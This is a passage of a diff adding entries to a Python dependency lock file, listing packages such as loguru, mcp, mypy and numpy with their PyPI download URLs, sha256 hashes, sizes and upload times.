"https://files.pythonhosted.org/packages/fc/48/37cc533e2d16e4ec1d01f30b41933c9319af18389ea0f6866835ace7d331/langsmith-0.4.53-py3-none-any.whl", hash = "sha256:62e0b69d0f3b25afbd63dc5743a3bcec52993fe6c4e43e5b9e5311606aa04e9e", size = 411526, upload-time = "2025-12-03T01:00:42.053Z" }, +] + +[[package]] +name = "lazy-object-proxy" +version = "1.12.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/a2/69df9c6ba6d316cfd81fe2381e464db3e6de5db45f8c43c6a23504abf8cb/lazy_object_proxy-1.12.0.tar.gz", hash = "sha256:1f5a462d92fd0cfb82f1fab28b51bfb209fabbe6aabf7f0d51472c0c124c0c61", size = 43681, upload-time = "2025-08-22T13:50:06.783Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/01/b3/4684b1e128a87821e485f5a901b179790e6b5bc02f89b7ee19c23be36ef3/lazy_object_proxy-1.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1cf69cd1a6c7fe2dbcc3edaa017cf010f4192e53796538cc7d5e1fedbfa4bcff", size = 26656, upload-time = "2025-08-22T13:42:30.605Z" }, + { url = "https://files.pythonhosted.org/packages/3a/03/1bdc21d9a6df9ff72d70b2ff17d8609321bea4b0d3cffd2cea92fb2ef738/lazy_object_proxy-1.12.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:efff4375a8c52f55a145dc8487a2108c2140f0bec4151ab4e1843e52eb9987ad", size = 68832, upload-time = "2025-08-22T13:42:31.675Z" }, + { url = "https://files.pythonhosted.org/packages/3d/4b/5788e5e8bd01d19af71e50077ab020bc5cce67e935066cd65e1215a09ff9/lazy_object_proxy-1.12.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1192e8c2f1031a6ff453ee40213afa01ba765b3dc861302cd91dbdb2e2660b00", size = 69148, upload-time = "2025-08-22T13:42:32.876Z" }, + { url = "https://files.pythonhosted.org/packages/79/0e/090bf070f7a0de44c61659cb7f74c2fe02309a77ca8c4b43adfe0b695f66/lazy_object_proxy-1.12.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3605b632e82a1cbc32a1e5034278a64db555b3496e0795723ee697006b980508", size = 67800, upload-time = "2025-08-22T13:42:34.054Z" }, + { url = "https://files.pythonhosted.org/packages/cf/d2/b320325adbb2d119156f7c506a5fbfa37fcab15c26d13cf789a90a6de04e/lazy_object_proxy-1.12.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a61095f5d9d1a743e1e20ec6d6db6c2ca511961777257ebd9b288951b23b44fa", size = 68085, upload-time = "2025-08-22T13:42:35.197Z" }, + { url = "https://files.pythonhosted.org/packages/41/a0/b91504515c1f9a299fc157967ffbd2f0321bce0516a3d5b89f6f4cad0355/lazy_object_proxy-1.12.0-pp39.pp310.pp311.graalpy311-none-any.whl", hash = "sha256:c3b2e0af1f7f77c4263759c4824316ce458fabe0fceadcd24ef8ca08b2d1e402", size = 15072, upload-time = "2025-08-22T13:50:05.498Z" }, +] + +[[package]] +name = "loguru" +version = "0.7.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9e/30/d87a423766b24db416a46e9335b9602b054a72b96a88a241f2b09b560fa8/loguru-0.7.2.tar.gz", hash = "sha256:e671a53522515f34fd406340ee968cb9ecafbc4b36c679da03c18fd8d0bd51ac", size = 145103, upload-time = "2023-09-11T15:24:37.926Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/0a/4f6fed21aa246c6b49b561ca55facacc2a44b87d65b8b92362a8e99ba202/loguru-0.7.2-py3-none-any.whl", hash = "sha256:003d71e3d3ed35f0f8984898359d65b79e5b21943f78af86aa5491210429b8eb", size = 62549, upload-time = "2023-09-11T15:24:35.016Z" }, +] + +[[package]] +name = "lupa" +version = "2.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b8/1c/191c3e6ec6502e3dbe25a53e27f69a5daeac3e56de1f73c0138224171ead/lupa-2.6.tar.gz", hash = "sha256:9a770a6e89576be3447668d7ced312cd6fd41d3c13c2462c9dc2c2ab570e45d9", size = 7240282, upload-time = "2025-10-24T07:20:29.738Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ca/29/1f66907c1ebf1881735afa695e646762c674f00738ebf66d795d59fc0665/lupa-2.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6d988c0f9331b9f2a5a55186701a25444ab10a1432a1021ee58011499ecbbdd5", size = 962875, upload-time = "2025-10-24T07:17:39.107Z" }, + { url = "https://files.pythonhosted.org/packages/e6/67/4a748604be360eb9c1c215f6a0da921cd1a2b44b2c5951aae6fb83019d3a/lupa-2.6-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:ebe1bbf48259382c72a6fe363dea61a0fd6fe19eab95e2ae881e20f3654587bf", size = 1935390, upload-time = "2025-10-24T07:17:41.427Z" }, + { url = "https://files.pythonhosted.org/packages/ac/0c/8ef9ee933a350428b7bdb8335a37ef170ab0bb008bbf9ca8f4f4310116b6/lupa-2.6-cp311-cp311-macosx_11_0_x86_64.whl", hash = "sha256:a8fcee258487cf77cdd41560046843bb38c2e18989cd19671dd1e2596f798306", size = 992193, upload-time = "2025-10-24T07:17:43.231Z" }, + { url = "https://files.pythonhosted.org/packages/65/46/e6c7facebdb438db8a65ed247e56908818389c1a5abbf6a36aab14f1057d/lupa-2.6-cp311-cp311-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:561a8e3be800827884e767a694727ed8482d066e0d6edfcbf423b05e63b05535", size = 1165844, upload-time = "2025-10-24T07:17:45.437Z" }, + { url = "https://files.pythonhosted.org/packages/1c/26/9f1154c6c95f175ccbf96aa96c8f569c87f64f463b32473e839137601a8b/lupa-2.6-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:af880a62d47991cae78b8e9905c008cbfdc4a3a9723a66310c2634fc7644578c", size = 1048069, upload-time = "2025-10-24T07:17:47.181Z" }, + { url = "https://files.pythonhosted.org/packages/68/67/2cc52ab73d6af81612b2ea24c870d3fa398443af8e2875e5befe142398b1/lupa-2.6-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:80b22923aa4023c86c0097b235615f89d469a0c4eee0489699c494d3367c4c85", size = 2079079, upload-time = "2025-10-24T07:17:49.755Z" }, + { url = "https://files.pythonhosted.org/packages/2e/dc/f843f09bbf325f6e5ee61730cf6c3409fc78c010d968c7c78acba3019ca7/lupa-2.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:153d2cc6b643f7efb9cfc0c6bb55ec784d5bac1a3660cfc5b958a7b8f38f4a75", size = 1071428, upload-time = "2025-10-24T07:17:51.991Z" }, + { url = "https://files.pythonhosted.org/packages/2e/60/37533a8d85bf004697449acb97ecdacea851acad28f2ad3803662487dd2a/lupa-2.6-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3fa8777e16f3ded50b72967dc17e23f5a08e4f1e2c9456aff2ebdb57f5b2869f", size = 1181756, upload-time = "2025-10-24T07:17:53.752Z" }, + { url = "https://files.pythonhosted.org/packages/e4/f2/cf29b20dbb4927b6a3d27c339ac5d73e74306ecc28c8e2c900b2794142ba/lupa-2.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:8dbdcbe818c02a2f56f5ab5ce2de374dab03e84b25266cfbaef237829bc09b3f", size = 2175687, upload-time = "2025-10-24T07:17:56.228Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, + { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, + { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, + { url = "https://files.pythonhosted.org/packages/30/ac/0273f6fcb5f42e314c6d8cd99effae6a5354604d461b8d392b5ec9530a54/markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf", size = 22940, upload-time = "2025-09-27T18:36:22.249Z" }, + { url = "https://files.pythonhosted.org/packages/19/ae/31c1be199ef767124c042c6c3e904da327a2f7f0cd63a0337e1eca2967a8/markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f", size = 21887, upload-time = "2025-09-27T18:36:23.535Z" }, + { url = "https://files.pythonhosted.org/packages/b2/76/7edcab99d5349a4532a459e1fe64f0b0467a3365056ae550d3bcf3f79e1e/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a", size = 23692, upload-time = "2025-09-27T18:36:24.823Z" }, + { url = "https://files.pythonhosted.org/packages/a4/28/6e74cdd26d7514849143d69f0bf2399f929c37dc2b31e6829fd2045b2765/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115", size = 21471, upload-time = "2025-09-27T18:36:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/62/7e/a145f36a5c2945673e590850a6f8014318d5577ed7e5920a4b3448e0865d/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a", size = 22923, upload-time = "2025-09-27T18:36:27.109Z" }, +] + +[[package]] +name = "matplotlib-inline" +version = "0.2.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "traitlets", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c7/74/97e72a36efd4ae2bccb3463284300f8953f199b5ffbc04cbbb0ec78f74b1/matplotlib_inline-0.2.1.tar.gz", hash = "sha256:e1ee949c340d771fc39e241ea75683deb94762c8fa5f2927ec57c83c4dffa9fe", size = 8110, upload-time = "2025-10-23T09:00:22.126Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/af/33/ee4519fa02ed11a94aef9559552f3b17bb863f2ecfe1a35dc7f548cde231/matplotlib_inline-0.2.1-py3-none-any.whl", hash = "sha256:d56ce5156ba6085e00a9d54fead6ed29a9c47e215cd1bba2e976ef39f5710a76", size = 9516, upload-time = "2025-10-23T09:00:20.675Z" }, +] + +[[package]] +name = "mccabe" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" }, +] + +[[package]] +name = "mcp" +version = "1.9.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "httpx", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "httpx-sse", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic-settings", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-multipart", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sse-starlette", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "starlette", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "uvicorn", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/f2/dc2450e566eeccf92d89a00c3e813234ad58e2ba1e31d11467a09ac4f3b9/mcp-1.9.4.tar.gz", hash = "sha256:cfb0bcd1a9535b42edaef89947b9e18a8feb49362e1cc059d6e7fc636f2cb09f", size = 333294, upload-time = "2025-06-12T08:20:30.158Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/97/fc/80e655c955137393c443842ffcc4feccab5b12fa7cb8de9ced90f90e6998/mcp-1.9.4-py3-none-any.whl", hash = "sha256:7fcf36b62936adb8e63f89346bccca1268eeca9bf6dfb562ee10b1dfbda9dac0", size = 130232, upload-time = "2025-06-12T08:20:28.551Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "mistralai" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "eval-type-backport", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "httpx", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jsonpath-python", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-inspect", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f8/9c/4ea3ee3c8aac270e3d7fde9eb18c34209348f89815fbb356d04bf949e2aa/mistralai-1.1.0.tar.gz", hash = "sha256:9d1fe778e0e8c6ddab714e6a64c6096bd39cfe119ff38ceb5019d8e089df08ba", size = 117553, upload-time = "2024-09-17T16:25:53.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/64/9b/97d1f2f8fb4648008882284b2235d0b7b64b094ad4a4ee02c9c67c361578/mistralai-1.1.0-py3-none-any.whl", hash = "sha256:eea0938975195f331d0ded12d14e3c982f09f1b68210200ed4ff0c6b9b22d0fb", size = 229749, upload-time = "2024-09-17T16:25:51.963Z" }, +] + +[[package]] +name = "msgpack" +version = "1.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4d/f2/bfb55a6236ed8725a96b0aa3acbd0ec17588e6a2c3b62a93eb513ed8783f/msgpack-1.1.2.tar.gz", hash = "sha256:3b60763c1373dd60f398488069bcdc703cd08a711477b5d480eecc9f9626f47e", size = 173581, upload-time = "2025-10-08T09:15:56.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/97/560d11202bcd537abca693fd85d81cebe2107ba17301de42b01ac1677b69/msgpack-1.1.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:2e86a607e558d22985d856948c12a3fa7b42efad264dca8a3ebbcfa2735d786c", size = 82271, upload-time = "2025-10-08T09:14:49.967Z" }, + { url = "https://files.pythonhosted.org/packages/83/04/28a41024ccbd67467380b6fb440ae916c1e4f25e2cd4c63abe6835ac566e/msgpack-1.1.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:283ae72fc89da59aa004ba147e8fc2f766647b1251500182fac0350d8af299c0", size = 84914, upload-time = "2025-10-08T09:14:50.958Z" }, + { url = "https://files.pythonhosted.org/packages/71/46/b817349db6886d79e57a966346cf0902a426375aadc1e8e7a86a75e22f19/msgpack-1.1.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:61c8aa3bd513d87c72ed0b37b53dd5c5a0f58f2ff9f26e1555d3bd7948fb7296", size = 416962, upload-time = "2025-10-08T09:14:51.997Z" }, + { url = "https://files.pythonhosted.org/packages/da/e0/6cc2e852837cd6086fe7d8406af4294e66827a60a4cf60b86575a4a65ca8/msgpack-1.1.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:454e29e186285d2ebe65be34629fa0e8605202c60fbc7c4c650ccd41870896ef", size = 426183, upload-time = "2025-10-08T09:14:53.477Z" }, + { url = "https://files.pythonhosted.org/packages/25/98/6a19f030b3d2ea906696cedd1eb251708e50a5891d0978b012cb6107234c/msgpack-1.1.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7bc8813f88417599564fafa59fd6f95be417179f76b40325b500b3c98409757c", size = 411454, upload-time = "2025-10-08T09:14:54.648Z" }, + { url = "https://files.pythonhosted.org/packages/b7/cd/9098fcb6adb32187a70b7ecaabf6339da50553351558f37600e53a4a2a23/msgpack-1.1.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bafca952dc13907bdfdedfc6a5f579bf4f292bdd506fadb38389afa3ac5b208e", size = 422341, upload-time = "2025-10-08T09:14:56.328Z" }, +] + +[[package]] +name = "mypy" +version = "1.10.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mypy-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c3/b6/297734bb9f20ddf5e831cf4a83f422ddef5a29a33463999f0959d9cdc2df/mypy-1.10.0.tar.gz", hash = "sha256:3d087fcbec056c4ee34974da493a826ce316947485cef3901f511848e687c131", size = 3022145, upload-time = "2024-04-24T13:53:30.447Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/86/ec/64ffed9ea554845ff846bd1f6fc7b07ab507be1d2e1b0d58790d7ac2ca4c/mypy-1.10.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3be66771aa5c97602f382230165b856c231d1277c511c9a8dd058be4784472e1", size = 10739848, upload-time = "2024-04-24T13:52:58.596Z" }, + { url = "https://files.pythonhosted.org/packages/03/ac/f4fcb9d7a349953be5f4e78157a48b5110343a0e5228f77b3f7d1a1b8479/mypy-1.10.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8b2cbaca148d0754a54d44121b5825ae71868c7592a53b7292eeb0f3fdae95ee", size = 9902362, upload-time = "2024-04-24T13:52:38.397Z" }, + { url = "https://files.pythonhosted.org/packages/7e/36/ca2b82d89828f484f1a068d9e25c08840c4cc6f6549e7ea755f4391e351f/mypy-1.10.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ec404a7cbe9fc0e92cb0e67f55ce0c025014e26d33e54d9e506a0f2d07fe5de", size = 12603712, upload-time = "2024-04-24T13:52:43.838Z" }, + { url = "https://files.pythonhosted.org/packages/b5/7a/54edb45a41de3bc66e5c3d2b7512a392b3f0f8b9c3d9465b9a2456b6a115/mypy-1.10.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e22e1527dc3d4aa94311d246b59e47f6455b8729f4968765ac1eacf9a4760bc7", size = 12676904, upload-time = "2024-04-24T13:53:16.518Z" }, + { url = "https://files.pythonhosted.org/packages/e9/39/0148f7ee1b7f3a86d378a23b88cb85c432f83914ceb60364efa1769c598f/mypy-1.10.0-py3-none-any.whl", hash = "sha256:f8c083976eb530019175aabadb60921e73b4f45736760826aa1689dda8208aee", size = 2580084, upload-time = "2024-04-24T13:52:13.843Z" }, +] + +[[package]] +name = "mypy-extensions" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/98/a4/1ab47638b92648243faf97a5aeb6ea83059cc3624972ab6b8d2316078d3f/mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782", size = 4433, upload-time = "2023-02-04T12:11:27.157Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/e2/5d3f6ada4297caebe1a2add3b126fe800c96f56dbe5d1988a2cbe0b267aa/mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d", size = 4695, upload-time = "2023-02-04T12:11:25.002Z" }, +] + +[[package]] +name = "ndg-httpsclient" +version = "0.5.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyasn1", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyopenssl", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b9/f8/8f49278581cb848fb710a362bfc3028262a82044167684fb64ad068dbf92/ndg_httpsclient-0.5.1.tar.gz", hash = "sha256:d72faed0376ab039736c2ba12e30695e2788c4aa569c9c3e3d72131de2592210", size = 26665, upload-time = "2018-07-23T16:02:43.96Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/67/c2f508c00ed2a6911541494504b7cac16fe0b0473912568df65fd1801132/ndg_httpsclient-0.5.1-py3-none-any.whl", hash = "sha256:dd174c11d971b6244a891f7be2b32ca9853d3797a72edb34fa5d7b07d8fff7d4", size = 34042, upload-time = "2018-07-23T16:04:46.553Z" }, +] + +[[package]] +name = "netifaces" +version = "0.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a6/91/86a6eac449ddfae239e93ffc1918cf33fd9bab35c04d1e963b311e347a73/netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", size = 30106, upload-time = "2021-05-31T08:33:02.506Z" } + +[[package]] +name = "numpy" +version = "2.3.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/76/65/21b3bc86aac7b8f2862db1e808f1ea22b028e30a225a34a5ede9bf8678f2/numpy-2.3.5.tar.gz", hash = "sha256:784db1dcdab56bf0517743e746dfb0f885fc68d948aba86eeec2cba234bdf1c0", size = 20584950, upload-time = "2025-11-16T22:52:42.067Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/43/77/84dd1d2e34d7e2792a236ba180b5e8fcc1e3e414e761ce0253f63d7f572e/numpy-2.3.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:de5672f4a7b200c15a4127042170a694d4df43c992948f5e1af57f0174beed10", size = 17034641, upload-time = "2025-11-16T22:49:19.336Z" }, + { url = "https://files.pythonhosted.org/packages/2a/ea/25e26fa5837106cde46ae7d0b667e20f69cbbc0efd64cba8221411ab26ae/numpy-2.3.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:acfd89508504a19ed06ef963ad544ec6664518c863436306153e13e94605c218", size = 12528324, upload-time = "2025-11-16T22:49:22.582Z" }, + { url = "https://files.pythonhosted.org/packages/4d/1a/e85f0eea4cf03d6a0228f5c0256b53f2df4bc794706e7df019fc622e47f1/numpy-2.3.5-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:ffe22d2b05504f786c867c8395de703937f934272eb67586817b46188b4ded6d", size = 5356872, upload-time = "2025-11-16T22:49:25.408Z" }, + { url = "https://files.pythonhosted.org/packages/5c/bb/35ef04afd567f4c989c2060cde39211e4ac5357155c1833bcd1166055c61/numpy-2.3.5-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:872a5cf366aec6bb1147336480fef14c9164b154aeb6542327de4970282cd2f5", size = 6893148, upload-time = "2025-11-16T22:49:27.549Z" }, + { url = "https://files.pythonhosted.org/packages/f2/2b/05bbeb06e2dff5eab512dfc678b1cc5ee94d8ac5956a0885c64b6b26252b/numpy-2.3.5-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3095bdb8dd297e5920b010e96134ed91d852d81d490e787beca7e35ae1d89cf7", size = 14557282, upload-time = "2025-11-16T22:49:30.964Z" }, + { url = "https://files.pythonhosted.org/packages/65/fb/2b23769462b34398d9326081fad5655198fcf18966fcb1f1e49db44fbf31/numpy-2.3.5-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8cba086a43d54ca804ce711b2a940b16e452807acebe7852ff327f1ecd49b0d4", size = 16897903, upload-time = "2025-11-16T22:49:34.191Z" }, + { url = "https://files.pythonhosted.org/packages/ac/14/085f4cf05fc3f1e8aa95e85404e984ffca9b2275a5dc2b1aae18a67538b8/numpy-2.3.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6cf9b429b21df6b99f4dee7a1218b8b7ffbbe7df8764dc0bd60ce8a0708fed1e", size = 16341672, upload-time = "2025-11-16T22:49:37.2Z" }, + { url = "https://files.pythonhosted.org/packages/6f/3b/1f73994904142b2aa290449b3bb99772477b5fd94d787093e4f24f5af763/numpy-2.3.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:396084a36abdb603546b119d96528c2f6263921c50df3c8fd7cb28873a237748", size = 18838896, upload-time = "2025-11-16T22:49:39.727Z" }, + { url = "https://files.pythonhosted.org/packages/c6/65/f9dea8e109371ade9c782b4e4756a82edf9d3366bca495d84d79859a0b79/numpy-2.3.5-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:f0963b55cdd70fad460fa4c1341f12f976bb26cb66021a5580329bd498988310", size = 16910689, upload-time = "2025-11-16T22:52:23.247Z" }, + { url = "https://files.pythonhosted.org/packages/00/4f/edb00032a8fb92ec0a679d3830368355da91a69cab6f3e9c21b64d0bb986/numpy-2.3.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:f4255143f5160d0de972d28c8f9665d882b5f61309d8362fdd3e103cf7bf010c", size = 12457053, upload-time = "2025-11-16T22:52:26.367Z" }, + { url = "https://files.pythonhosted.org/packages/16/a4/e8a53b5abd500a63836a29ebe145fc1ab1f2eefe1cfe59276020373ae0aa/numpy-2.3.5-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:a4b9159734b326535f4dd01d947f919c6eefd2d9827466a696c44ced82dfbc18", size = 5285635, upload-time = "2025-11-16T22:52:29.266Z" }, + { url = "https://files.pythonhosted.org/packages/a3/2f/37eeb9014d9c8b3e9c55bc599c68263ca44fdbc12a93e45a21d1d56df737/numpy-2.3.5-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:2feae0d2c91d46e59fcd62784a3a83b3fb677fead592ce51b5a6fbb4f95965ff", size = 6801770, upload-time = 